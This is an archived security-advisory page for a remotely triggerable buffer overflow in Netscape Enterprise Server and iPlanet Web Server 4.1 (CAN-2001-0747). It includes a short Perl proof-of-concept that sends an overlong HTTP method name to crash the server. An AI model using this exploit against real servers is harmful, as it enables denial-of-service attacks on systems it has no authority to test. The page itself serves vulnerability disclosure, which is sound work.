exploits , vulnerabilities , articles , Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability

Title	Netscape Enterprise Server HTTP Method Name Buffer Overflow Vulnerability
Published	2001-05-19-12:00AM
Updated	2003-02-07-12:10AM
Class	Boundary Condition Error
CVE	CAN-2001-0747
Remote	Yes
Local	No
Credit	Discovery of this vulnerability has been credited to: Robert Cardona <dasquid@digizen-security.com>
Vulnerable	Netscape Enterprise Server 4.1 SP7 Netscape Enterprise Server 4.1 SP6 Netscape Enterprise Server 4.1 SP5 Netscape Enterprise Server 4.1 SP4 Netscape Enterprise Server 4.1 SP3 iPlanet Web Server 4.1 SP7 iPlanet Web Server 4.1 SP6 iPlanet Web Server 4.1 SP5 iPlanet Web Server 4.1 SP4 iPlanet Web Server 4.1 SP3
Not Vulnerable	Netscape Enterprise Server 4.1 SP8
Code	The following proof of concept code was supplied by Robert Cardona <dasquid@digizen-security.com>: #!/usr/bin/perl use IO::Socket; if (@ARGV < 2) { print "Usage: host port "; exit; } $overflow = "A" x $4022; &connect; sleep(15); &connect; exit; ################################################ sub connect() { $sock= IO::Socket::INET->new(Proto=>"TCP", PeerAddr=>$ARGV[0], PeerPort=>"$ARGV[1]",) or die "Cant connect to $ARGV[0]: $! "; $sock->autoflush(1); print $sock "$overflow /index.html HTTP/1.0 "; $response=<$sock>; print "$response"; while(<$sock>){ print "$_ "; } close $sock; }
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-18 Adobe Flash Media Server Resource Exhaustion Remote Denial of Service Vulnerability
• 2009-12-18 Centreon Authentication Mechanism Security Bypass Vulnerability
• 2009-12-18 Family Connections Multiple Input Validation Vulnerabilities
• 2009-12-18 Drupal Contact and Menu Modules Multiple HTML Injection Vulnerabilities
• 2009-12-18 Mozilla Firefox and SeaMonkey NTLM Credential Reflection Authentication Bypass Vulnerability
• 2009-12-18 Mozilla Firefox CVE-2009-3982 JavaScript Engine Multiple Remote Memory Corruption Vulnerabilities
• 2009-12-17 Zen Cart Insecure File and Programs Information Disclosure and Database Deletion Vulnerability
• 2009-12-17 Winamp Module Decoder Plugin Multiple Buffer Overflow Vulnerabilities
• 2009-12-17 Winamp JPEG and PNG Multiple Integer Overflow Vulnerabilities
• 2009-12-17 HP OpenView Storage Data Protector Stack Buffer Overflow Vulnerability

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Sat, 19 Dec 2009 00:40:59 +0000